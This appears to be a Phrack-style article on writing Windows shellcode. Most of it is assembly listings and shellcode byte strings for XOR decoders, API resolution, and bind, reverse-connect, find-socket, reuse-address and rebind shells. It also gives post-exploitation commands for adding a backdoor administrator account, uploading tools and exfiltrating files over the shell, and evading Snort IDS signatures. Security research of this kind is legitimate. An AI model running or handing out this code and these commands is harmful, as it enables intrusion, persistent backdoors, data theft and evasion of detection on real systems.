Buffer overflow usually will not allow NULL and a few special characters. We can avoid using these characters by encoding our shellcode. The easiest encoding scheme is the XOR encoding. In this encoding, we will XOR each char in our shellcode with a predefined value. During execution, a decoder will translate the rest of the code back to real instruction by XOR it again with the predefined value. As shown here, we can set the number of byte we want to decode in ecx, and while eax is pointing to the starting point of our encoded shellcode. We xor the destination byte by byte with 0x96 until the loop over. There are other more advance encoding schemes, of cause. We can use a DWORD xor value instead of a char to encode 4 bytes at a time. We also may break the code apart by encoding them using a different xor key. All with the purpose to get rid of unusable chars in our shellcode.

xorecx, ecx

mov cl, 0C6h ;size

loop1:

inceax

xor byte ptr [eax], 96h

loop loop1

The Metasploit project (http://metasploit.com/) contains a few very

useful encoders worth checking.

‑‑[ 2.b.iii Getting address of required function

After the decoding process, we will jump into the memory area where the decoded shellcode start to continue our execution. Before we can do anything useful, we must locate the address of all APIs that we need to use and store it in a jump table. We are not going to use any fixed address to API because it is different between service packs. To get the address of API we need, we can use an API called GetProcAddress(). By supplying the name of the function we need to this API, it will return the address where we can call to use it. To obtain the address of GetProcAddress() itself, we can search the export table of the Kernel32.dll in the memory. Kernel32.dll image is located predefined in a memory location depending on the OS.

*NT ‑ 0x77f00000

*2kSP2 & SP3 ‑ 0x77e80000

*WinXP ‑ 0x77e60000

Since we know the default base memory of kernel32.dll is located at these locations, we can start looping backward from 0x77f00000 to look for "MZ\x90" byte sequences. Kernel32 start with "MZ\x90" mark just like any Windows application. This trick was used by High Speed Junky (HSJ) in his exploit and it works quite nicely for all the above OS and service pack. However Windows 2000 SP4's Kernel32.dll is located at 0x7c570000. In order to scan the memory from 0x77f00000, we need to setup an exception handler that will catch invalid memory access.

‑‑[ 2.b.iv Locating Kernel32 base memory

However, there is a better method to get the kernel32 base memory. Using the fs selector, we can get into our PEB. By searching the PEB_LDR_DATA structure, we will find the list of DLL which our vulnerable program initialized when it start. The list of DLL will be loaded in sequence, first, NTDLL, followed by Kernel32. So, by traveling one nod forward in the list, we will get the base memory of the Kernel32.dll. This technique, complete with the code, has been published by researchers in VX‑zine, then used by LSD in their Windows Assembly component.

mov eax,fs:[30h]; PEB base

mov eax,[eax+0ch]; goto PEB_LDR_DATA

; first entry in InInitializationOrderModuleList

mov esi,[eax+1ch]

lodsd; forward to next LIST_ENTRY

mov ebx,[eax+08h]; Kernel32 base memory

‑‑[ 2.b.v Getting GetProcAddress()

Once we know the base address of Kernel32.dll, we can locate its Export Table and look for "GetProcAddress" string. We also can get the total of exported functions. Using the number, we loop until we find the string.

movesi,dword ptr [ebx+3Ch];to PE Header

addesi,ebx

movesi,dword ptr [esi+78h] ;to export table

addesi,ebx

movedi,dword ptr [esi+20h] ;to export name table

addedi,ebx

movecx,dword ptr [esi+14h] ;number of exported function pushesi

xoreax,eax ;our counter

For each address in the jump table, we will check if the destination name is match with "GetProcAddress". If not, we increase EAX by one and continue searching. Once we found a match, EAX will be holding our counter. Using the following formula, we can obtain the real address of GetProcAddress().

ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base

We count until we reach "GetProcAddress". Multiply the index by 2, add it to the address of exported ordinals table. It should now point to the ordinal of GetProcAddress(). Take the value, multiply it by 4. Total it up with the address of the addrress of the table and Kernel32 base address, we will get the real address of the GetProcAddress(). We can use the same technique to get the address of any exported function inside Kernel32.

‑‑[ 2.b.vi Getting other functions by name

Once we get the address of GetProcAddress(), we can easily obtain address of any other API. Since there are quite a number of APIs that we need to use, we (actually, most of these codes were dissass from HSJ's exploit) build a function that take a function name and return the address. To use the function, set ESI pointing to the name of the API we want to load. It must be NULL terminated. Set EDI point to the jump table. A jump table is just a location where we store all addresses of API we need to call. Set ECX to number of API we want it to resolve.

In this example, we call to load 3 APIs:

movedi,esi ;EDI is the output, our jump table

xorecx,ecx

movcl,3 ;Load 3 APIs

callloadaddr

The "loadaddr" function that get the job done:

loadaddr:

moval,byte ptr [esi]

incesi

testal,al

jneloadaddr;loop till we found a NULL

pushecx

pushedx

pushesi

pushebx

calledx ;GetProcAddress(DLL, API_Name);

popedx

popecx

stosd;write the output to EDI

looploadaddr;loop to get other APIs

ret

‑‑[ 2.b.vii Spawning a shell

Once we have gone thru those troublesome API address loading, we can finally do something useful. To spawn a shell in Windows, we need to call the CreateProcess() API. To use this API, we need to set up the STARTUPINFO in such a way that, the input, output and error handler will be redirected to a socket. We also will set the structure so that the process will have no window. With the structure setup, we just need to call CreateProcess to launch "cmd.exe" to get an interactive command shell in windows.

;ecx is 0

movbyte ptr [ebp],44h ;STARTUPINFO size

movdword ptr [ebp+3Ch],ebx ;output handler

movdword ptr [ebp+38h],ebx ;input handler

movdword ptr [ebp+40h],ebx ;error handler ;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW

movword ptr [ebp+2Ch],0101h

leaeax,[ebp+44h]

pusheax

pushebp

pushecx

pushecx

pushecx

incecx

pushecx

dececx

pushecx

pushecx

pushesi

pushecx

calldword ptr [edi‑28] ;CreateProcess

‑‑[ 2.c Compiling our shellcode

The Code section in the end of the paper contains source code bind.asm. bind.asm is a complete shellcode written in Assembly Language which will create a shell in Windows and bind it to a specific port. Compile bind.asm:

# tasm ‑l bind.asm

It will produce 2 files:

1.bind.obj ‑ the object code

2.bind.lst ‑ assembly listing

If we open bind.obj with a hex editor, we will see that the object code start with something similar to this:

01)80 0A 00 08 62 69 6E 64‑2E 61 73 6D 62 88 20 00 ....bind.asmb. . 02)00 00 1C 54 75 72 62 6F‑20 41 73 73 65 6D 62 6C ...Turbo Assembl 03)65 72 20 20 56 65 72 73‑69 6F 6E 20 34 2E 31 99 er Version 4.1. 04)88 10 00 40 E9 49 03 81‑2F 08 62 69 6E 64 2E 61 ...@.I../.bind.a 05)73 6D 2F 88 03 00 40 E9‑4C 96 02 00 00 68 88 03 sm/...@.L....h.. 06)00 40 A1 94 96 0C 00 05‑5F 54 45 58 54 04 43 4F .@......_TEXT.CO 07)44 45 96 98 07 00 A9 B3‑01 02 03 01 FE 96 0C 00 DE.............. 08)05 5F 44 41 54 41 04 44‑41 54 41 C2 98 07 00 A9 ._DATA.DATA..... 09)00 00 04 05 01 AE 96 06‑00 04 46 4C 41 54 39 9A ..........FLAT9. 10)02 00 06 5E 96 08 00 06‑44 47 52 4F 55 50 8B 9A ...^....DGROUP.. 11)04 00 07 FF 02 5A 88 04‑00 40 A2 01 91 A0 B7 01 .....Z...@...... 12)01 00 00 EB 02 EB 05 E8‑F9 FF FF FF 58 83 C0 1B ............X... 13)...

14)5A 59 AB E2 EE C3 99 8A‑07 00 C1 10 01 01 00 00 ZY.............. 15)9C 6D 8E 06 D2 7C 26 F6‑06 05 00 80 74 0E F7 06 .m...|&.....t...

Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of the partial hex dump above. It will end with 0xC3 as shown in line 14. We need to use a hex editor to remove the first 176 bytes and the last 26 bytes. (You don't need to do this if you are using NASM compiler, but the author has been using TASM since his MS‑DOS age).

Now that we have the shellcode in its pure binary form, we just need to build a simple program that read from this file and produce the corresponding hex value in a C string. Refer to the Code section (xor.cpp) for the code that will do that. The output of the program is our shellcode in C string syntax:

# xor bind.obj

BYTE shellcode[436] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" ...

"\xE2\xEE\xC3";

‑‑[ 3 The connection

We have seen some of the basic building block of a shellcode. But we have not cover the connection part of the shellcode. As mentioned, a shellcode needs a shell and a connection to allow interactive command. We want to be able to send any command and see the output. Regardless if we are spawning a shell, transferring file or loop to wait for further command, we need to setup a connection. There are three published techniques: Bind to port, Reverse connect and Find socket shellcode. We will look into each one of these, as well as their limitation. Along the way, various exploits that uses these shellcode will be demonstrated to get a better understanding.

‑‑[ 3.a Bind to port shellcode

Bind to port shellcode is popular being used in proof of concept exploit. The shellcode setup a socket, bind it to a specific port and listen for connection. Upon accepting a connection, you spawn a shell.

This following APIs are needed for this type of connection:

*WSASocket()

*bind()

*listen()

*accept()

It is important to note that we are using WSASocket() and not socket() to create a socket. Using WSASocket will create a socket that will not have an overlapped attribute. Such socket can be use directly as a input/output/error stream in CreateProcess() API. This eliminates the need to use anonymous pipe to get input/output from a process which exist in older shellcode. The size of the shellcode shrinks quite a bit using this technique. It was first introduced by David Litchfield. You can find many of Bind too port shellcode in Packetstorm Security by debugging shellcode of these exploits:

*slxploit.c

*aspcode.c

*aspx_brute.c

‑‑[ 3.a.1 Bind to port shellcode implementation

movebx,eax

movword ptr [ebp],2

movword ptr [ebp+2],5000h ;port

movdword ptr [ebp+4], 0 ;IP

push10h

pushebp

pushebx

calldword ptr [edi‑12] ;bind

inceax

pusheax

pushebx

calldword ptr [edi‑8] ;listen (soc, 1)

pusheax

pusheax

pushebx

calldword ptr [edi‑4] ;accept

Compiling bind.asm will create shellcode (435 bytes) that will work with any service pack. We will test the bind to port shellcode using a simple testing program ‑ testskode.cpp. Copy the shellcode (in C string) generated the xor program and parse it into testskode.cpp:

BYTE shellcode[436] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" ...

// this is the bind port of the shellcode

*(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000;

void *ma = malloc(10000); memcpy(ma,shellcode,sizeof(shellcode));

__asm

{

moveax,ma

int 3

jmp eax

}

free(ma);

Compile and running testskode.cpp will result in a break point just before we jump to the shellcode. If we let the process continue, it will bind to port 1212 and ready to accept connection. Using netcat, we can connect to port 1212 to get a shell.

‑‑[ 3.a.2 Problem with bind to port shellcode

Using proof of concept exploit with bind to port shellcode against server in organization with firewall usually will not work. Even though we successfully exploited the vulnerability and our shellcode executed, we will have difficulties connecting to the bind port. Usually, firewall will allow connection to popular services like port 25, 53, 80, etc. But usually these ports are already in used by other applications. Sometimes the firewall rules just did not open these ports. We have to assume that the firewall block every port, expect for the port number of the vulnerable service.

‑‑[ 3.b Reverse connect shellcode

To overcome the limitation of bind to port shellcode, many exploits prefer to use reverse connection shellcode. Instead of binding to a port waiting for connection, the shellcode simply connect to a predefined IP and port number to drop it a shell.

We must include our IP and port number which the target must connect to give a shell in the shellcode. We also must run netcat or anything similar in advance, ready to accept connection. Of cause, we must be using IP address which the victim machine is reachable. Thus, usually we use public IP.

The following APIs are needed to setup this type of connection:

*WSASocket()

*connect()

You can find many of these examples in Packetstorm Security by debugging shellcode of these exploits:

*jill.c

*iis5asp_exp.c

*sqludp.c

*iis5htr_exp.c

‑‑[ 3.b.1 Reverse connect shellcode implementation

pusheax

pusheax

pusheax

pusheax

inceax

pusheax

inceax

pusheax

calldword ptr [edi‑8] ;WSASocketA

movebx,eax

movword ptr [ebp],2

movword ptr [ebp+2],5000h;port in network byte order

movdword ptr [ebp+4], 2901a8c0h ;IP in network byte order push10h

pushebp

pushebx

calldword ptr [edi‑4] ;connect

Compiling reverse.asm will create shellcode (384 bytes) that will work with any service pack. We will use this shellcode in our JRun/ColdFusion exploit. However there is still one problem. This exploit will not accept NULL character. We need to encode our shellcode with an XOR shield. We can use the xor.cpp to encode our shellcode using its third parameter.

First, let's compile reverse.asm:

# \tasm\bin\tasm ‑l reverse.asm

Then, hex‑edit reverse.obj to get our shellcode. Refer to bind to port shellcode on how to do it. Now, use xor.cpp to print the shellcode:

# xor reverse.obj

BYTE shellcode[384] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" "\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30" "\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63" ...

The first 36 bytes of the shellcode is our decoder. It has been carefully crafted to avoid NULL. We keep this part of the shellcode. Then, we run xor.cpp again with an extra parameter to xor the code with 0x96.

# xor reverse.obj 96

BYTE shellcode[384] = "" "\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97" "\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6" "\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5" ... "\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";

We take bytes sequence from the 37th bytes onwards. Combine the encoder and the xored shellcode, we will get the actual shellcode that we can use in our exploit.

BYTE shellcode[384] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" "\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30" "\x96\x40\xE2\xFA" "\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"

... "\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";

We can use the following statements in our exploit to change the IP and port to our machine which has netcat listening for a shell.

*(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696; *(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696;

The JRun/ColdFusion exploit is attached in the Code section (weiwei.pl). The exploit uses Reverse connect shellcode.

‑‑[ 3.b.2 Problem with reverse connect shellcode

It is not unusual to find server which has been configure to block out going connection. Firewall usually blocks all outgoing connection from DMZ.

‑‑[ 4 One‑Way shellcode

With the assumption that firewall has been configured with the following rules:

*Blocks all ports except for listening ports of the services *Blocks all outgoing connections from server

Is there any way to control the server remotely? In some case, it is possible to use existing resources in the vulnerable service to establish the control. For example, it may be possible to hook certain functions in the vulnerable service so that it will take over socket connection or anything similar. The new function may check any network packet for a specific signature. If there is, it may execute command that attached along with the network packet. Otherwise, the packet passes to the original function. We can then connect to the vulnerable service with our signature to trigger a command execution. As early as in 2001, Code Red worm uses some sort of function hooking to deface web site (http://www.eeye.com/html/Research/Advisories/AL20010717.html).

Another alternative will be to use resources that available from the vulnerable service. It is also possible to patch the vulnerable service to cripple the authentication procedure. This will be useful for services like database, telnet, ftp, SSH and alike. In the case of Web server, it is possible to create PHP/ASP/CGI pages in the web root that will allow remote command execution via web pages. The shellcode in the following link create an ASP page, as implemented by Mikey (Michael Hendrickx):

http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c

Code Red 2 worm also has a very interesting method to create a backdoor of an IIS server. It creates a virtual path to drive C: and D: of the server to the web root. Using these virtual paths, attacker can execute cmd.exe which will then allow remote command execution:

http://www.eeye.com/html/research/advisories/AL20010804.html

However, these implementations are specific to the service we are exploiting. We hope to find a generic mechanism to bypass the firewall rules so that we can easily reuse our shellcode. With the assumption that the only way to interact with the server is through the port of the vulnerable service, we call these shellcode, One‑way shellcode:

*Find socket

*Reuse address socket

*Rebind socket

‑‑[ 4.a Find socket shellcode

This method was documented in LSD's paper on Unix shellcode (http://lsd‑pl.net/unix_assembly.html). Although the code is for Unix,

we can use the same technique in the Windows world. The idea is to locate the existing connection that the attacker was using during the attack and use that connection for communication.

Most WinSock API requires only the socket descriptor for its operation. So, we need to find this descriptor. In our implementation, we loop from 0x80 onwards. This number is chosen because socket descriptors below 0x80 are usually not relevant to our network connection. In our experience, using socket descriptor below 0x80 in WinSock API sometimes crash our shellcode due to lack of Stack space.

We will get the destination port of the network connection for each socket descriptor. It is compared with a known value. We hard coded this value in our shellcode. If there is a match, we found our connection. However, socket may not be a non‑overlapping socket. Depending on the program that created the socket, there is possibility that the socket we found is an overlapping socket. If this is the case, we cannot use it directly as in/out/err handler in CreateProcess(). To get an interaction communication from this type of socket, we can anonymous pipe. Description on using anonymous pipe in shellcode can be found in article by Dark Spyrit (http://www.phrack.org/show.php?p=55&a=15) and LSD (http://lsd‑

pl.net/windows_components.html).

xorebx,ebx

movbl,80h

find:

incebx

movdword ptr [ebp],10h

leaeax,[ebp]

pusheax

leaeax,[ebp+4]

pusheax

pushebx ;socket

calldword ptr [edi‑4];getpeername

cmpword ptr [ebp+6],1234h;myport

jnefind

found:

pushebx;socket

Find socket shellcode work by comparing the destination port of the socket with a known port number. Thus, attacker must obtain this port number first before sending the shellcode. It can be easily done by calling getsockname() on a connected socket.

It is important to note that this type of shellcode should be use in an environment where the attacker is not in a private IP. If you are in a private IP, your Firewall NATing will create a new connection to the victim machine during your attack. That connection will have a different source port that what you obtain in your machine. Thus, your shellcode will never be able to find the actually connection.

Find socket implementation can be found in findsock.asm in the Code section. There is also a sample usage of find socket shellcode in hellobug.pl, an exploit for MS SQL discovered Dave Aitel.

‑‑[ 4.a.1 Problem with Find socket shellcode

Find socket could be perfect, but in some case, socket descriptor of the attacking connection is no longer available. It is possible that the socket might already been closed before it reach the vulnerable code. In some case, the buffer overflow might be in another process altogether.

‑‑[ 4.b Reuse address shellcode

Since we fail to find the socket descriptor of our connection in a vulnerability that we are exploiting, we need to find another way. In the worst scenario, the firewall allows incoming connection only to one port; the port which the vulnerable service is using. So, if we can somehow create a bind to port shellcode that actually bind to the port number of the vulnerable service, we can get a shell by connecting to the same port.

Normally, we will not be able to bind to a port which already been used. However, if we set our socket option to SO_REUSEADDR, it is possible bind our shellcode to the same port of the vulnerable service. Moreover, most applications simply bind a port to INADDR_ANY interface, including IIS. If we know the IP address of the server, we can even specify the IP address during bind() so that we can bind our shellcode in front of vulnerable service. Binding it to a specific IP allow us to get the connection first.

Once this is done, we just need to connect to the port number of the vulnerable service to get a shell. It is also interesting to note that Win32 allow any user to connect to port below 1024. Thus, we can use this method even if we get IUSR or IWAM account.

If we don't know the IP address of the server (may be it is using port forwarding to an internal IP), we still can bind the process to INADDR_ANY. However, this means we will have 2 processes excepting connection from the same port on the same interface. In our experience, we may need to connect a few times to get a shell. This is because the other process could occasionally get the connection.

API needed to create a reuse address shellcode:

*WSASocketA()

*setsockopt()

*bind()

*listen()

*accept()

‑‑[ 4.b.1 Reuse address shellcode implementation

movword ptr [ebp],2

push4

pushebp

push4;SO_REUSEADDR

push0ffffh

pushebx

calldword ptr [edi‑20] ;setsockopt

movword ptr [ebp+2],5000h ;port

movdword ptr [ebp+4], 0h ;IP, can be 0

push10h

pushebp

pushebx

calldword ptr [edi‑12] ;bind

Reuse address shellcode implementation is in reuse.asm (434 bytes) in the Code section. Same usage of this type of shellcode is implemented in reusewb.c exploit. This exploit is using the NTDLL (WebDav) vulnerability on IIS Web server.

‑‑[ 4.b.2 Problem with reuse address shellcode

Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address is not possible.

‑‑[ 4.c Rebind socket shellcode

It is not unusual to find application that actually uses SO_ EXCLUSIVEADDRUSE option to prevent us to reuse its address. So, our research did not stop there. We feel that there is a need to create a better shellcode. Assuming that we have same restriction we have as before. The only way to connect to the vulnerable machine is via the port of the vulnerable service. Instead of sharing the port gracefully as reuse address socket shellcode, we can take over the port number entirely.

If we can terminate the vulnerable service, we can bind our shell into the very same port that was previously used by the vulnerable service. If we can achieve that, the next connection to this port will yield a shell.

However, our shellcode is usually running as part of the vulnerable service. Terminating the vulnerable service will terminate our shellcode.

To get around with this, we need to fork our shellcode into a new process. The new process will bind to a specific port as soon as it is available. The vulnerable service will be forcefully terminated.

Forking is not as simple as in Unix world. Fortunately, LSD has done all the hard work for us (http://lsd‑pl.net/windows_components.html).

It is done in the following manner as implemented by LSD:

1.Call CreateProcess() API to create a new process. We must supply a filename to this API. It doesn't matter which file, as long as it exist in the system. However, if we choose name like IExplore, we might be able to bypass even personal firewall. We also must create the process in Suspend Mode.

2.Call GetThreadContext() to retrieve the environment of the suspended process. This call allows us to retrieve various information, including CPU registry of the suspended process. 3.Use VirtualAllocEx() to create enough buffer for our shellcode in the suspended process.

4.Call WriteProcessMemory() to copy our shellcode from the vulnerable service to the new buffer in the suspended process. 5.Use SetThreadContext() to replace EIP with memory address of the new buffer.

6.ResumeThread() will resume the suspended thread. When the thread starts, it will point directly to the new buffer which contains our shellcode.

The new shellcode in the separate process will loop constantly trying to bind to port of the vulnerable service. However, until we successfully terminate the vulnerable machine it will not be able to continue.

Back in our original shellcode, we will execute TerminateProcess() to forcefully terminate the vulnerable service. TerminateProcess() take two parameters, the Process handle to be terminated and the return value. Since we are terminating the current process, we can just pass ‑1 as the Process Handle.

As soon as the vulnerable service terminated, our shellcode in a separate process will be able to bind successfully to the specific port number. It will continue to bind a shell to that port and waiting for connection. To connect to this shell, we just need to connect to the target machine on the port number of the vulnerable service.

It is possible to improve the shellcode further by checking source port number of IP before allowing a shell. Otherwise, anyone connecting to that port immediately after your attack will obtain the shell.

‑‑[ 4.c.1 Rebind socket shellcode implementation

Rebind socket shellcode is implemented in rebind.asm in the Code section. We need to use a lot of APIs in this shellcode. Loading these APIs by name will make our shellcode much bigger than it should be. Thus, the rebind socket shellcode is using another method to locate the APIs that we need. Instead of comparing the API by its name, we can compare by its fingerprint/hash. We generate a fingerprint for each API name we want to use and store it in our shellcode. Thus, we only need to store 4 bytes (size of the fingerprint) for each API. During shellcode execution, we will calculate the fingerprint of API name in the Export Table and compare it with our value. If there is a match, we found the API we need. The function that loads an API address by its fingerprint in rebind.asm was ripped from HD Moore's MetaSploit Framework (http://metasploit.com/sc/win32_univ_loader_src.c).

A sample usage of a rebind socket shellcode can be found rebindwb.c and lengmui.c in the Code section. Rebindwb.c is an exploit modified from the previous WebDAV exploit that make use of Rebind shellcode. It will attack IIS, kill it and take over its port. Connecting to port 80 after the exploit will grant the attacker a shell.

The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP 1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP 1433 will grant the attacker a shell.

‑‑[ 4.d Other one‑way shellcode

There are other creative mechanisms being implemented by Security Expert in the field. For example, Brett Moore's 91 bytes shellcode as published in Pen‑Test mailing list (http://seclists.org/lists/pen‑

test/2003/Jan/0000.html). It is similar to the Find Socket shellcode, only that, instead of actually finding the attacking connection, the shellcode create a new process of CMD for every socket descriptor.

Also similar to Find socket shellcode, instead of checking the destination port to identify our connection, XFocus's forum has discussion on sending additional bytes for verification. Our shellcode will read 4 more bytes from every socket descriptor, and if the bytes match with our signature, we will bind a CMD shell to that connection. It could be implemented as:

*An exploit send additional bytes as signature ("ey4s") after sending the overflow string

*The shellcode will set each socket descriptor to non‑blocking *Shellcode call API recv() to check for "ey4s"

*If there is a match, spawn CMD

*Loop if not true

It is also possible to send it with "MSG_OOB" flag. As implemented by san _at_ xfocus d0t org.

Yet, another possibility is to implement shellcode that execute command that attached in the shellcode it self. There is no need to create network connection. The shellcode just execute the command and die. We can append our command as part of the shellcode and execute CreateProcess() API. A sample implementation can be found on dcomx.c in the Code section. For example, we can use the following command to add a remote administrator to a machine which is vulnerable to RPCDCOM bug as discovered by LSD.

# dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass" # dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser"

‑‑[ 5 Transferring file using shellcode

One of the most common things to do after you break into a box is to upload or download files. We usually download files from our target as proof of successful penetration testing. We also often upload additional tools to the server to use it as an attacking point to attack other internal server.

In the absent of a firewall, we can easily use FTP or TFTP tools found in standard Windows installation to get the job done:

*ftp ‑s:script

*tftp ‑i myserver GET file.exe

However, in a situation where there is no other way to go in and out, we can still transfer file using the shell we obtain from our One‑way shellcode. It is possible to reconstruct a binary file by using the debug.exe command available in almost every Windows.

‑‑[ 5.a Uploading file with debug.exe

We can create text file in our target system using the echo command. But we can't use echo to create binary file, not with the help from debug.exe. It is possible to reconstructing binary using debug.exe. Consider the following commands:

C:\>echo nbell.com>b.s

C:\>echo a>>b.s

C:\>echo dw07B8 CD0E C310>>b.s

C:\>echo.>>b.s

C:\>echo R CX>>b.s

C:\>echo 6 >>b.s

C:\>echo W>>b.s

C:\>echo Q>>b.s

C:\>debug<b.s

The echo command will construct a debug script which contains necessary instructions code in hex value to create a simple binary file. The last command will feed the script into debug.exe, which will eventually generate our binary file.

However, we cannot construct a binary file larger than 64k. This is the limitation of the debug.exe itself.

‑‑[ 6.b Uploading file with VBS

Thus, a better idea to upload a binary file is to use Visual Basic Script. VBS interpreter (cscript.exe) available by default in almost all Windows platform. This is our strategy:

1.Create a VBS script that will read hex code from a file and rewrite it as binary.

2.Upload the script to target using "echo" command.

3.Read file to be uploaded, and "echo" the hex code to a file in the target server.

4.Run the VBS script to translate hex code to binary.

A sample script like below can be use to read any binary file and create the correspondence ASC printable hex code file.

dread: while (1){

$nread2 = sysread(INFO, $disbuf, 100);

last dread if $nread2 == 0;

@bytes = unpack "C*", $disbuf;

foreach $dab (@bytes){

$txt .= sprintf "%02x", $dab;

}

$to .= "echo $txt >>outhex.txt\n";

$nnn++;

if ($nnn > 100) {

print SOCKET $to;

receive();

print ".";

$to="";

$nnn=0;

}

$txt = "";

}

Then, we create our VBS decoder in the target machine ‑ "tobin.vbs". We can easily use "echo" command to create this file in the target machine. This decoder will read the outhex.txt created above and construct the binary file.

Set arr = WScript.Arguments

Set wsf = CreateObject("Scripting.FileSystemObject")

Set infile = wsf.opentextfile(arr(arr.Count‑2), 1, TRUE)

Set file = wsf.opentextfile(arr(arr.Count‑1), 2, TRUE)

do while infile.AtEndOfStream = false

line = infile.ReadLine

For x = 1 To Len(line)‑2 Step 2

thebyte = Chr(38) & "H" & Mid(line, x, 2)

file.write Chr(thebyte)

Next

loop

file.close

infile.close

Once the decoder is in the target machine, we just need to execute it to convert the Hex code into a binary file:

# cscript tobin.vbs outhex.txt out.exe

‑‑[ 5.c Retrieving file from command line

Once we have the ability to upload file to the machine, we can upload a Base64 encoder to the target machine. We will use this encoder to encode any file into a printable Base64 format. We can easily print the output of the Base64 encoded in command line and capture the text. Once we have the complete file in Base64, we will save that into a file in our machine. Using WinZip or any Base64 decoder, we can convert that file back into its binary form. The following command allows us to retrieve any file in our target machine:

print SOCKET "base64 ‑e $file outhex2.txt\n";

receive();

print SOCKET "type outhex2.txt\n";

open(RECV, ">$file.b64");

print RECV receive();

Fortunately, all these file upload/downloading can be automated. Refer to hellobug.pl in the Code section to see file transfer in action.

‑‑[ 6 Avoiding IDS detection

Snort rules now have several Attack‑Response signatures that will be able to detect common output from a Windows CMD shell. Every time we start CMD, it will display a banner:

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985‑2001 Microsoft Corp.

C:\Documents and Settings\sk

There is a Snort rule that capture this banner:

http://www.snort.org/snort‑db/sid.html?sid=2123

We can easily avoid this by spawning cmd.exe with the parameter of "/k" in our shellcode. All we need to do is just to add 3 more bytes in our shellcode from "cmd" to "cmd /k". You may also need to add 3 to the value in the decoder that count the number of byte that we need to decode.

There is also another Snort rules that capture a directory listing of the "dir" command in a Windows shell:

http://www.snort.org/snort‑db/sid.html?sid=1292

The rule compares "Volume Serial Number" in any established network packet, if there is a match, the rule will trigger an alert.

# dir

Volume in drive C is Cool

Volume Serial Number is SKSK‑6622

Directory of C:\Documents and Settings\sk

06/18/2004 06:22 PM <DIR> .

06/18/2004 06:22 PM <DIR> ..

12/01/2003 01:08 AM 58 ReadMe.txt

To avoid this, we just need to include /b in our dir command. It is best if we set this in an environment so that dir will always use this argument:

# set DIRCMD=/b

# dir

ReadMe.txt

Snort also has signature that detect "Command completed" in:

http://www.snort.org/snort‑db/sid.html?sid=494

This command usually generated by the "net" command. It is easy to create a wrapper for the net command that will not display "Command completed" status or use other tools like "nbtdump", etc.

‑‑[ 7 Restarting vulnerable service

Most often, after a buffer overflow, the vulnerable service will be unstable. Even if we can barely keep it alive, chances are we will not be able to attack the service again. Although we can try to fix these problem in our shellcode, but the easiest way is to restart the vulnerable service via our shell. This usually can be done using "at" command to schedule a command that will restart the vulnerable service after we exit from our shell.

For example, if our vulnerable service is IIS web server, we can reset it using a scheduler:

#at <time> iisreset

In the case of MS SQL Server, we just need to start the sqlserveragent service. This is a helper service installed by default when you install MS SQL Server. It will constantly monitor and check if the SQL Server process is running. If it is not, it will be started. Executing the following command in our shell will start this service, which in turn, help us to MS SQL Server once we exit.

#net start sqlserveragent

Another example is on the Workstation service bug discovered by Eeye. In this case, we don't have a helper service. But we can kill the relevant service, and restart it.

1. Kill the Workstation service

#taskkill /fi "SERVICES eq lanmanworkstation" /f

2. restart required services

#net start workstation

#net start "computer browser"

#net start "Themes" <== optional

#net start "messenger" <== optional

...

If we exit our shellcode now, we can attack the machine via the Workstation exploit again.

‑‑[ 8 End of shellcode?

Shellcode is simple to use and probably easiest to illustrate the severity of a vulnerability in proof of concept code. However there are a few more advance payload strategies released to the public by LSD's Windows ASM component, Core Security's Syscall Proxy, Dave Aitel's MOSDEF, etc. These payloads offer much more than a shell. The References section provides a few good pointers to get more information. We hope you enjoy reading our article as much as other quality article from Phrack.

‑‑[ 9 Greetz!

There are many good fellows we would like to thank for their continuous source of information to feed our hunger for knowledge. Without these guys, the security field will be boring.

My mentor, my friend: sam, pokleyzz, wanvadder, wyse, socket370 and the rest of =da scan clan=, Ey4s, San and all that support XFocus team! RD and the rest of THC! The Grugq! Saumil! Sheeraj! Nitesh! Caddis from Team‑Teso! CK and the rest of SIG^2 team! Sensepost! BrightVaio! L33tdawg and the rest of HackInTheBox team!

Greets to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many others Blackhat speakers for their excellence research!

‑‑[ 10 References

* Code to this article: http://www.scan‑associates.net/papers/one‑way.zip

*Shellcode and exploit:

HSJ ‑ http://hsj.shadowpenguin.org/misc/

*More shellcode!

HD Moore ‑ http://www.metasploit.com

*Advance payload:

CORE Security

*Syscall Proxying (http://www.blackhat.com/html/bh‑usa‑

02/bh‑usa‑02‑speakers.html#Maximiliano Caceres)

